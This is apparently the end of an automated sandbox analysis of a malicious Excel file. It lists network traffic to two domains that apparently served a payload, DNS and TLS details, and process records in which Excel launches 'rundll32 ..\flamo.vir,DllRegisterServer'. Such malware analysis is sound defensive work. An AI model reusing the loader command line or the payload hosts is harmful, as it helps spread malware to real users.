Jun 29, 2021 17:42:11.584980011 CEST	49274	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:42:11.585587025 CEST	49274	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:42:11.589234114 CEST	49274	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:42:11.746500969 CEST	443	49274	108.179.232.80	192.168.2.22
Jun 29, 2021 17:42:12.152120113 CEST	443	49274	108.179.232.80	192.168.2.22
Jun 29, 2021 17:42:12.152297974 CEST	49274	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:42:12.152344942 CEST	443	49274	108.179.232.80	192.168.2.22
Jun 29, 2021 17:42:12.152471066 CEST	49274	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:42:12.153256893 CEST	49274	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:42:12.155849934 CEST	49275	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:42:12.310661077 CEST	443	49274	108.179.232.80	192.168.2.22
Jun 29, 2021 17:42:12.312839031 CEST	443	49275	108.179.232.80	192.168.2.22
Jun 29, 2021 17:42:12.312978983 CEST	49275	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:42:12.313610077 CEST	49275	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:42:12.470731020 CEST	443	49275	108.179.232.80	192.168.2.22
Jun 29, 2021 17:42:12.471473932 CEST	443	49275	108.179.232.80	192.168.2.22
Jun 29, 2021 17:42:12.471601009 CEST	49275	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:42:12.472352982 CEST	49275	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:42:12.477361917 CEST	49275	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:42:12.634754896 CEST	443	49275	108.179.232.80	192.168.2.22
Jun 29, 2021 17:42:13.028465033 CEST	443	49275	108.179.232.80	192.168.2.22
Jun 29, 2021 17:42:13.028626919 CEST	49275	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:42:13.028650045 CEST	443	49275	108.179.232.80	192.168.2.22
Jun 29, 2021 17:42:13.028716087 CEST	49275	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:42:13.029356003 CEST	49275	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:42:13.032035112 CEST	49276	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:42:13.186239004 CEST	443	49275	108.179.232.80	192.168.2.22
Jun 29, 2021 17:42:13.192312002 CEST	443	49276	108.179.232.80	192.168.2.22
Jun 29, 2021 17:42:13.192538977 CEST	49276	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:42:13.193128109 CEST	49276	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:42:13.353137970 CEST	443	49276	108.179.232.80	192.168.2.22
Jun 29, 2021 17:42:13.354110956 CEST	443	49276	108.179.232.80	192.168.2.22
Jun 29, 2021 17:42:13.354191065 CEST	49276	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:42:13.354626894 CEST	49276	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:42:13.359772921 CEST	49276	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:42:13.520962954 CEST	443	49276	108.179.232.80	192.168.2.22
Jun 29, 2021 17:42:13.894396067 CEST	443	49276	108.179.232.80	192.168.2.22
Jun 29, 2021 17:42:13.894469976 CEST	49276	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:42:13.894649029 CEST	443	49276	108.179.232.80	192.168.2.22
Jun 29, 2021 17:42:13.894921064 CEST	49276	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:42:13.894942999 CEST	49276	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:42:13.895972013 CEST	49277	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:42:14.055150986 CEST	443	49276	108.179.232.80	192.168.2.22
Jun 29, 2021 17:42:14.056843996 CEST	443	49277	108.179.232.80	192.168.2.22
Jun 29, 2021 17:42:14.057076931 CEST	49277	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:42:14.058048964 CEST	49277	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:42:14.218894005 CEST	443	49277	108.179.232.80	192.168.2.22
Jun 29, 2021 17:42:14.219593048 CEST	443	49277	108.179.232.80	192.168.2.22
Jun 29, 2021 17:42:14.219710112 CEST	49277	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:42:14.220179081 CEST	49277	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:42:14.224961996 CEST	49277	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:42:14.385811090 CEST	443	49277	108.179.232.80	192.168.2.22
Jun 29, 2021 17:42:14.788322926 CEST	443	49277	108.179.232.80	192.168.2.22
Jun 29, 2021 17:42:14.788433075 CEST	443	49277	108.179.232.80	192.168.2.22
Jun 29, 2021 17:42:14.788554907 CEST	49277	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:42:14.788606882 CEST	49277	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:42:14.789494038 CEST	49277	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:42:14.791990042 CEST	49278	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:42:14.949218035 CEST	443	49278	108.179.232.80	192.168.2.22
Jun 29, 2021 17:42:14.949369907 CEST	49278	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:42:14.950114012 CEST	443	49277	108.179.232.80	192.168.2.22
Jun 29, 2021 17:42:14.950402975 CEST	49278	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:42:15.107676983 CEST	443	49278	108.179.232.80	192.168.2.22
Jun 29, 2021 17:42:15.108479023 CEST	443	49278	108.179.232.80	192.168.2.22
Jun 29, 2021 17:42:15.108567953 CEST	49278	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:42:15.109047890 CEST	49278	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:42:15.113435030 CEST	49278	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:42:15.273618937 CEST	443	49278	108.179.232.80	192.168.2.22
Jun 29, 2021 17:42:15.662338018 CEST	443	49278	108.179.232.80	192.168.2.22
Jun 29, 2021 17:42:15.662514925 CEST	49278	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:42:15.662594080 CEST	443	49278	108.179.232.80	192.168.2.22
Jun 29, 2021 17:42:15.662688971 CEST	49278	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:42:15.663671017 CEST	49278	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:42:15.667085886 CEST	49279	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:42:15.820744038 CEST	443	49278	108.179.232.80	192.168.2.22
Jun 29, 2021 17:42:15.823682070 CEST	443	49279	108.179.232.80	192.168.2.22
Jun 29, 2021 17:42:15.823868036 CEST	49279	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:42:15.824402094 CEST	49279	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:42:15.980855942 CEST	443	49279	108.179.232.80	192.168.2.22
Jun 29, 2021 17:42:15.981765032 CEST	443	49279	108.179.232.80	192.168.2.22
Jun 29, 2021 17:42:15.981873035 CEST	49279	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:42:15.982302904 CEST	49279	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:42:15.986555099 CEST	49279	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:42:16.143074989 CEST	443	49279	108.179.232.80	192.168.2.22
Jun 29, 2021 17:42:16.529066086 CEST	443	49279	108.179.232.80	192.168.2.22
Jun 29, 2021 17:42:16.529253006 CEST	49279	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:42:16.529357910 CEST	443	49279	108.179.232.80	192.168.2.22
Jun 29, 2021 17:42:16.529499054 CEST	49279	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:42:16.530232906 CEST	49279	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:42:16.532735109 CEST	49280	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:42:16.687477112 CEST	443	49279	108.179.232.80	192.168.2.22
Jun 29, 2021 17:42:16.690738916 CEST	443	49280	108.179.232.80	192.168.2.22
Jun 29, 2021 17:42:16.691004038 CEST	49280	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:42:16.692109108 CEST	49280	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:42:16.849263906 CEST	443	49280	108.179.232.80	192.168.2.22
Jun 29, 2021 17:42:16.849847078 CEST	443	49280	108.179.232.80	192.168.2.22
Jun 29, 2021 17:42:16.849961996 CEST	49280	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:42:16.850627899 CEST	49280	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:42:16.859430075 CEST	49280	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:42:17.016603947 CEST	443	49280	108.179.232.80	192.168.2.22
Jun 29, 2021 17:42:17.418881893 CEST	443	49280	108.179.232.80	192.168.2.22
Jun 29, 2021 17:42:17.418946981 CEST	443	49280	108.179.232.80	192.168.2.22
Jun 29, 2021 17:42:17.419034958 CEST	49280	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:42:17.419083118 CEST	49280	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:42:17.419928074 CEST	49280	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:42:17.422466040 CEST	49281	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:42:17.577239037 CEST	443	49280	108.179.232.80	192.168.2.22
Jun 29, 2021 17:42:17.584055901 CEST	443	49281	108.179.232.80	192.168.2.22
Jun 29, 2021 17:42:17.584220886 CEST	49281	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:42:17.585283995 CEST	49281	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:42:17.746326923 CEST	443	49281	108.179.232.80	192.168.2.22
Jun 29, 2021 17:42:17.747231960 CEST	443	49281	108.179.232.80	192.168.2.22
Jun 29, 2021 17:42:17.747394085 CEST	49281	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:42:17.748074055 CEST	49281	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:42:17.757087946 CEST	49281	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:42:17.917902946 CEST	443	49281	108.179.232.80	192.168.2.22
Jun 29, 2021 17:42:18.337528944 CEST	443	49281	108.179.232.80	192.168.2.22
Jun 29, 2021 17:42:18.337591887 CEST	443	49281	108.179.232.80	192.168.2.22
Jun 29, 2021 17:42:18.337635994 CEST	49281	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:42:18.337655067 CEST	49281	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:42:18.338119030 CEST	49281	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:42:18.340095043 CEST	49282	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:42:18.497068882 CEST	443	49282	108.179.232.80	192.168.2.22
Jun 29, 2021 17:42:18.497203112 CEST	49282	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:42:18.498126984 CEST	49282	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:42:18.498589039 CEST	443	49281	108.179.232.80	192.168.2.22
Jun 29, 2021 17:42:18.655045033 CEST	443	49282	108.179.232.80	192.168.2.22
Jun 29, 2021 17:42:18.655766964 CEST	443	49282	108.179.232.80	192.168.2.22
Jun 29, 2021 17:42:18.655950069 CEST	49282	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:42:18.656552076 CEST	49282	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:42:18.665625095 CEST	49282	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:42:18.822612047 CEST	443	49282	108.179.232.80	192.168.2.22
Jun 29, 2021 17:42:19.240150928 CEST	443	49282	108.179.232.80	192.168.2.22
Jun 29, 2021 17:42:19.240271091 CEST	49282	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:42:19.240467072 CEST	443	49282	108.179.232.80	192.168.2.22
Jun 29, 2021 17:42:19.240531921 CEST	49282	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:42:19.241081953 CEST	49282	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:42:19.242110014 CEST	49283	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:42:19.397917986 CEST	443	49282	108.179.232.80	192.168.2.22
Jun 29, 2021 17:42:19.399990082 CEST	443	49283	108.179.232.80	192.168.2.22
Jun 29, 2021 17:42:19.400291920 CEST	49283	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:42:19.400928020 CEST	49283	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:42:19.558377981 CEST	443	49283	108.179.232.80	192.168.2.22
Jun 29, 2021 17:42:19.558979034 CEST	443	49283	108.179.232.80	192.168.2.22
Jun 29, 2021 17:42:19.559111118 CEST	49283	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:42:19.559565067 CEST	49283	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:42:19.564716101 CEST	49283	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:42:19.722140074 CEST	443	49283	108.179.232.80	192.168.2.22
Jun 29, 2021 17:42:20.214993954 CEST	443	49283	108.179.232.80	192.168.2.22
Jun 29, 2021 17:42:20.215178967 CEST	443	49283	108.179.232.80	192.168.2.22
Jun 29, 2021 17:42:20.215219975 CEST	49283	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:42:20.215266943 CEST	49283	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:42:20.215827942 CEST	49283	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:42:20.217235088 CEST	49284	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:42:20.373099089 CEST	443	49283	108.179.232.80	192.168.2.22
Jun 29, 2021 17:42:20.375005960 CEST	443	49284	108.179.232.80	192.168.2.22
Jun 29, 2021 17:42:20.375216007 CEST	49284	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:42:20.376143932 CEST	49284	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:42:20.534080029 CEST	443	49284	108.179.232.80	192.168.2.22
Jun 29, 2021 17:42:20.534419060 CEST	443	49284	108.179.232.80	192.168.2.22
Jun 29, 2021 17:42:20.534585953 CEST	49284	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:42:20.535214901 CEST	49284	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:42:20.544435024 CEST	49284	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:42:20.702259064 CEST	443	49284	108.179.232.80	192.168.2.22
Jun 29, 2021 17:42:21.108403921 CEST	443	49284	108.179.232.80	192.168.2.22
Jun 29, 2021 17:42:21.108571053 CEST	443	49284	108.179.232.80	192.168.2.22
Jun 29, 2021 17:42:21.108613014 CEST	49284	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:42:21.108732939 CEST	49284	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:42:21.109754086 CEST	49284	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:42:21.112514973 CEST	49285	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:42:21.268536091 CEST	443	49284	108.179.232.80	192.168.2.22
Jun 29, 2021 17:42:21.271457911 CEST	443	49285	108.179.232.80	192.168.2.22
Jun 29, 2021 17:42:21.271541119 CEST	49285	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:42:21.272142887 CEST	49285	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:42:21.429459095 CEST	443	49285	108.179.232.80	192.168.2.22
Jun 29, 2021 17:42:21.430308104 CEST	443	49285	108.179.232.80	192.168.2.22
Jun 29, 2021 17:42:21.430417061 CEST	49285	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:42:21.431072950 CEST	49285	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:42:21.440009117 CEST	49285	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:42:21.597748995 CEST	443	49285	108.179.232.80	192.168.2.22
Jun 29, 2021 17:42:21.985219955 CEST	443	49285	108.179.232.80	192.168.2.22
Jun 29, 2021 17:42:21.985299110 CEST	49285	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:42:21.985481024 CEST	443	49285	108.179.232.80	192.168.2.22
Jun 29, 2021 17:42:21.985810995 CEST	49285	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:42:21.985948086 CEST	49285	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:42:21.987392902 CEST	49286	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:42:22.143137932 CEST	443	49285	108.179.232.80	192.168.2.22
Jun 29, 2021 17:42:22.144290924 CEST	443	49286	108.179.232.80	192.168.2.22
Jun 29, 2021 17:42:22.144435883 CEST	49286	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:42:22.145126104 CEST	49286	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:42:22.302045107 CEST	443	49286	108.179.232.80	192.168.2.22
Jun 29, 2021 17:42:22.302757025 CEST	443	49286	108.179.232.80	192.168.2.22
Jun 29, 2021 17:42:22.302942038 CEST	49286	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:42:22.303566933 CEST	49286	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:42:22.310241938 CEST	49286	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:42:22.467189074 CEST	443	49286	108.179.232.80	192.168.2.22
Jun 29, 2021 17:42:22.895243883 CEST	443	49286	108.179.232.80	192.168.2.22
Jun 29, 2021 17:42:22.895303965 CEST	443	49286	108.179.232.80	192.168.2.22
Jun 29, 2021 17:42:22.895427942 CEST	49286	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:42:22.895893097 CEST	49286	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:42:22.896893978 CEST	49287	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:42:23.052829981 CEST	443	49286	108.179.232.80	192.168.2.22
Jun 29, 2021 17:42:23.057781935 CEST	443	49287	108.179.232.80	192.168.2.22
Jun 29, 2021 17:42:23.057854891 CEST	49287	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:42:23.058320045 CEST	49287	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:42:23.219027042 CEST	443	49287	108.179.232.80	192.168.2.22
Jun 29, 2021 17:42:23.219835043 CEST	443	49287	108.179.232.80	192.168.2.22
Jun 29, 2021 17:42:23.219981909 CEST	49287	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:42:23.220679045 CEST	49287	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:42:23.227925062 CEST	49287	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:42:23.389553070 CEST	443	49287	108.179.232.80	192.168.2.22
Jun 29, 2021 17:42:23.818944931 CEST	443	49287	108.179.232.80	192.168.2.22
Jun 29, 2021 17:42:23.819094896 CEST	49287	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:42:23.819391966 CEST	443	49287	108.179.232.80	192.168.2.22
Jun 29, 2021 17:42:23.819438934 CEST	49287	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:42:23.821511984 CEST	49287	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:42:23.822837114 CEST	49288	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:42:23.982266903 CEST	443	49287	108.179.232.80	192.168.2.22
Jun 29, 2021 17:42:23.984030008 CEST	443	49288	108.179.232.80	192.168.2.22
Jun 29, 2021 17:42:23.984164953 CEST	49288	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:42:23.984777927 CEST	49288	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:42:24.146150112 CEST	443	49288	108.179.232.80	192.168.2.22
Jun 29, 2021 17:42:24.147052050 CEST	443	49288	108.179.232.80	192.168.2.22
Jun 29, 2021 17:42:24.147192001 CEST	49288	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:42:24.147747040 CEST	49288	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:42:24.152259111 CEST	49288	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:42:24.313668013 CEST	443	49288	108.179.232.80	192.168.2.22
Jun 29, 2021 17:42:24.694813967 CEST	443	49288	108.179.232.80	192.168.2.22
Jun 29, 2021 17:42:24.695005894 CEST	443	49288	108.179.232.80	192.168.2.22
Jun 29, 2021 17:42:24.695029974 CEST	49288	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:42:24.695075989 CEST	49288	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:42:24.695657015 CEST	49288	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:42:24.697432041 CEST	49289	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:42:24.855473042 CEST	443	49289	108.179.232.80	192.168.2.22
Jun 29, 2021 17:42:24.855664968 CEST	49289	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:42:24.856709003 CEST	49289	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:42:24.858053923 CEST	443	49288	108.179.232.80	192.168.2.22
Jun 29, 2021 17:42:25.013902903 CEST	443	49289	108.179.232.80	192.168.2.22
Jun 29, 2021 17:42:25.014538050 CEST	443	49289	108.179.232.80	192.168.2.22
Jun 29, 2021 17:42:25.014662981 CEST	49289	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:42:25.015244961 CEST	49289	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:42:25.024141073 CEST	49289	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:42:25.181291103 CEST	443	49289	108.179.232.80	192.168.2.22
Jun 29, 2021 17:42:25.593043089 CEST	443	49289	108.179.232.80	192.168.2.22
Jun 29, 2021 17:42:25.593121052 CEST	49289	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:42:25.593650103 CEST	443	49289	108.179.232.80	192.168.2.22
Jun 29, 2021 17:42:25.593713999 CEST	49289	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:42:25.595377922 CEST	49289	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:42:25.752450943 CEST	443	49289	108.179.232.80	192.168.2.22

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jun 29, 2021 17:40:31.896029949 CEST	52197	53	192.168.2.22	8.8.8.8
Jun 29, 2021 17:40:32.089262009 CEST	53	52197	8.8.8.8	192.168.2.22
Jun 29, 2021 17:40:33.041228056 CEST	53099	53	192.168.2.22	8.8.8.8
Jun 29, 2021 17:40:33.090143919 CEST	53	53099	8.8.8.8	192.168.2.22
Jun 29, 2021 17:40:33.096836090 CEST	52838	53	192.168.2.22	8.8.8.8
Jun 29, 2021 17:40:33.142735958 CEST	53	52838	8.8.8.8	192.168.2.22
Jun 29, 2021 17:40:33.431018114 CEST	61200	53	192.168.2.22	8.8.8.8
Jun 29, 2021 17:40:33.491046906 CEST	53	61200	8.8.8.8	192.168.2.22
Jun 29, 2021 17:40:33.502192974 CEST	49548	53	192.168.2.22	8.8.8.8
Jun 29, 2021 17:40:33.579824924 CEST	53	49548	8.8.8.8	192.168.2.22
Jun 29, 2021 17:40:35.215225935 CEST	55627	53	192.168.2.22	8.8.8.8
Jun 29, 2021 17:40:35.393904924 CEST	53	55627	8.8.8.8	192.168.2.22
Jun 29, 2021 17:40:36.029781103 CEST	56009	53	192.168.2.22	8.8.8.8
Jun 29, 2021 17:40:36.079277039 CEST	53	56009	8.8.8.8	192.168.2.22
Jun 29, 2021 17:40:36.090101957 CEST	61865	53	192.168.2.22	8.8.8.8
Jun 29, 2021 17:40:36.137018919 CEST	53	61865	8.8.8.8	192.168.2.22

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
Jun 29, 2021 17:40:31.896029949 CEST	192.168.2.22	8.8.8.8	0x15d4	Standard query (0)	psq.com.mx	A (IP address)	IN (0x0001)
Jun 29, 2021 17:40:35.215225935 CEST	192.168.2.22	8.8.8.8	0xaa3a	Standard query (0)	academy.haleemcampus.com	A (IP address)	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class
Jun 29, 2021 17:40:32.089262009 CEST	8.8.8.8	192.168.2.22	0x15d4	No error (0)	psq.com.mx		162.241.2.112	A (IP address)	IN (0x0001)
Jun 29, 2021 17:40:35.393904924 CEST	8.8.8.8	192.168.2.22	0xaa3a	No error (0)	academy.haleemcampus.com		108.179.232.80	A (IP address)	IN (0x0001)

HTTPS Packets

Timestamp	Source IP	Source Port	Dest IP	Dest Port	Subject	Issuer	Not Before	Not After	JA3 SSL Client Fingerprint	JA3 SSL Client Digest
Jun 29, 2021 17:40:32.464103937 CEST	162.241.2.112	443	192.168.2.22	49165	CN=psq.com.mx CN=Sectigo RSA Domain Validation Secure Server CA, O=Sectigo Limited, L=Salford, ST=Greater Manchester, C=GB	CN=Sectigo RSA Domain Validation Secure Server CA, O=Sectigo Limited, L=Salford, ST=Greater Manchester, C=GB CN=USERTrust RSA Certification Authority, O=The USERTRUST Network, L=Jersey City, ST=New Jersey, C=US	Tue Jul 28 02:00:00 CEST 2020 Fri Nov 02 01:00:00 CET 2018	Thu Jul 29 01:59:59 CEST 2021 Wed Jan 01 00:59:59 CET 2031	771,49192-49191-49172-49171-159-158-57-51-157-156-61-60-53-47-49196-49195-49188-49187-49162-49161-106-64-56-50-10-19,0-10-11-13-23-65281,23-24,0	7dcce5b76c8b17472d024758970a406b
Jun 29, 2021 17:40:32.464103937 CEST	162.241.2.112	443	192.168.2.22	49165	CN=Sectigo RSA Domain Validation Secure Server CA, O=Sectigo Limited, L=Salford, ST=Greater Manchester, C=GB	CN=USERTrust RSA Certification Authority, O=The USERTRUST Network, L=Jersey City, ST=New Jersey, C=US	Fri Nov 02 01:00:00 CET 2018	Wed Jan 01 00:59:59 CET 2031		7dcce5b76c8b17472d024758970a406b
Jun 29, 2021 17:40:35.729106903 CEST	108.179.232.80	443	192.168.2.22	49168	CN=www.academy.haleemcampus.com CN=R3, O=Let's Encrypt, C=US CN=ISRG Root X1, O=Internet Security Research Group, C=US	CN=R3, O=Let's Encrypt, C=US CN=ISRG Root X1, O=Internet Security Research Group, C=US CN=DST Root CA X3, O=Digital Signature Trust Co.	Tue May 25 09:21:24 CEST 2021 Fri Sep 04 02:00:00 CEST 2020 Wed Jan 20 20:14:03 CET 2021	Mon Aug 23 09:21:24 CEST 2021 Mon Sep 15 18:00:00 CEST 2025 Mon Sep 30 20:14:03 CEST 2024	771,49192-49191-49172-49171-159-158-57-51-157-156-61-60-53-47-49196-49195-49188-49187-49162-49161-106-64-56-50-10-19,0-10-11-13-23-65281,23-24,0	7dcce5b76c8b17472d024758970a406b
					CN=R3, O=Let's Encrypt, C=US	CN=ISRG Root X1, O=Internet Security Research Group, C=US	Fri Sep 04 02:00:00 CEST 2020	Mon Sep 15 18:00:00 CEST 2025
					CN=ISRG Root X1, O=Internet Security Research Group, C=US	CN=DST Root CA X3, O=Digital Signature Trust Co.	Wed Jan 20 20:14:03 CET 2021	Mon Sep 30 20:14:03 CEST 2024

Code Manipulations

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: EXCEL.EXE PID: 2116 Parent PID: 584

General

Start time:	17:40:35
Start date:	29/06/2021
Path:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
Wow64 process (32bit):	false
Commandline:	'C:\Program Files\Microsoft Office\Office14\EXCEL.EXE' /automation -Embedding
Imagebase:	0x13f860000
File size:	27641504 bytes
MD5 hash:	5FB0A0F93382ECD19F5F499A5CAA59F0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: rundll32.exe PID: 2100 Parent PID: 2116

General

Start time:	17:42:31
Start date:	29/06/2021
Path:	C:\Windows\System32\rundll32.exe
Wow64 process (32bit):	false
Commandline:	rundll32 ..\flamo.vir,DllRegisterServer
Imagebase:	0xff320000
File size:	45568 bytes
MD5 hash:	DD81D91FF3B0763C392422865C9AC12E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: rundll32.exe PID: 2224 Parent PID: 2116

General

Start time:	17:42:32
Start date:	29/06/2021
Path:	C:\Windows\System32\rundll32.exe
Wow64 process (32bit):	false
Commandline:	rundll32 ..\flamo.vir1,DllRegisterServer
Imagebase:	0xff320000
File size:	45568 bytes
MD5 hash:	DD81D91FF3B0763C392422865C9AC12E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Disassembly

Code Analysis

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Anti-virus, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

